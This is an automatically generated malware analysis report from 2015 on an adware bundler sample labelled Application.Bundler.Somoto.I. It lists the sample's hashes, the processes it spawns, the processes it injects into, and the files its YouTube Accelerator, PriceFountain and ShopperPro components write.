Application.Bundler.Somoto.I_ef16605e62

by malwarelabrobot on January 8th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)
Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: ef16605e62d299cd4043233eed25bb98
SHA1: 8a06f75f4049369170230931ec1889ca6bc35e6d
SHA256: 2a3419bfd3434eb6ad214137c64161896496110107d93a301f4e565591bb7567
SSDeep: 3072:/22ihA0m3BJf0AiZ1xUzbuJfpPrs3UyZ83HA7kymdibxg0SECEFy:wA0m3T0AiZ8Cty3tW3HOkoCEFy
Size: 167304 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

%original file name%.exe:3640
YTAHelper.exe:1756
pricefountainw.exe:2284
YouTubeAcceleratorService.exe:2288
YouTubeAcceleratorService.exe:3952
YouTubeAcceleratorService.exe:1564
ins_postInst.exe:3980
jsdrv.exe:3580
6C4.tmp:1188
biclient.exe:3636
biclient.exe:3416
biclient.exe:2364
sfx.exe:1140
ins_yta.exe:2148
GLJ1CB4.tmp:3596
GLB1C75.tmp:2676
testlsp.exe:3652
powershell.exe:812
powershell.exe:3708
powershell.exe:1540
setup.exe:2524
setup.exe:2008
7z920.exe:2544
WerFault.exe:4092
ShopperPro.exe:2612
ins_shopperpro.exe:3676
regsvr32.exe:1688
regsvr32.exe:3780
regsvr32.exe:1848
regsvr32.exe:3832
lspinst.exe:3000
lspinst.exe:3808
YTAHEL~1.EXE:2568
DCytaiesmt_smtyc_setup.exe:3420
pricefountain.exe:3356
spbiu.exe:812
spbiu.exe:1800
wscript.exe:3612
taskeng.exe:3600
smt_mystartsearch.exe:888
ytaiesmt_smtyc_setup.exe:3348

The Application injects its code into the following process(es):

YouTubeAcceleratorService.exe:2504
YouTubeAccelerator.exe:1732

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:3640 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz233A.tmp (5603 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (91 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)

The process YTAHelper.exe:1756 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\config.json (486 bytes)

The process pricefountainw.exe:2284 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\wd.log (278 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountain.exe (614 bytes)

The process YouTubeAcceleratorService.exe:3952 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process YouTubeAcceleratorService.exe:2504 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBC684A.tmp (547 bytes)
C:\Windows\Temp\SBC4B71.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2504_YouTubeAcceleratorService.log (235183 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC55CF.tmp (98 bytes)
C:\Windows\Temp\SBC5A82.tmp (51193 bytes)
C:\Windows\Temp\SBCABBE.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2504.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6515 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Windows\Temp\SBC5708.tmp (44 bytes)
C:\Windows\Temp\SBC537D.tmp (44 bytes)

The process ins_postInst.exe:3980 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_26902\ins_shopperpro.exe (20433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_23691\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_23691\ins_postInst.exe (7726 bytes)

The process YouTubeAccelerator.exe:1732 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9D1.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA42.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3652.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1732.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3652_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (86 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA79.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9CF.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9BB.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2504_YouTubeAcceleratorService.log_tmp (47 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3652_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA65.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA67.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA99A.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA979.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (208806 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3652_testlsp.log_tmp (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1732.log (74903 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA53.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9BD.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkA9D3.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA7B.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\wbkAA8C.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2504.log_tmp (493 bytes)

The process jsdrv.exe:3580 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1ZTIOACH.txt (66 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1UL7C8BK.txt (206 bytes)

The process 6C4.tmp:1188 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (297711 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\NSISEncrypt.dll (3424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk7ADB.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)

The process biclient.exe:3636 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\pricefountain[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7KKJY4ZO.txt (288 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ga[1].js (27046 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\554f0c32df4546428c4cd4ba3636f283[1].htm (40887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (64683 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GGV4XHDN.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-pricefountain[1].htm (7019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (3403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-sourceapp[1].htm (4656 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\XADFY9N0.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (1252 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HSACLEPO.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9OY1FYP2.txt (550 bytes)

The process biclient.exe:3416 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[1].png (1852 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (96 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (91380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6C4.tmp (37784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (68471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ajax-bidl[1].htm (976 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\fc5adcef92544d4d9ad600d2a201e613[1].htm (28545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe (21364 bytes)

The process biclient.exe:2364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\c6f37ce09f7b3c4993073c407a485e5f[1].htm (31423 bytes)

The process sfx.exe:1140 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\prfo.dll (5273 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountain.exe (6081 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainFirefox.xpi (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe (4492 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll (1671 bytes)

The process ins_yta.exe:2148 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB1C75.tmp (144 bytes)

The process GLJ1CB4.tmp:3596 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process GLB1C75.tmp:2676 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ1CB4.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\cabex.dll (98 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG24C4.tmp (91110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK1EB8.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF24C5.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC1CA4.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM20BC.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)

The process testlsp.exe:3652 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3652_testlsp.log (150 bytes)
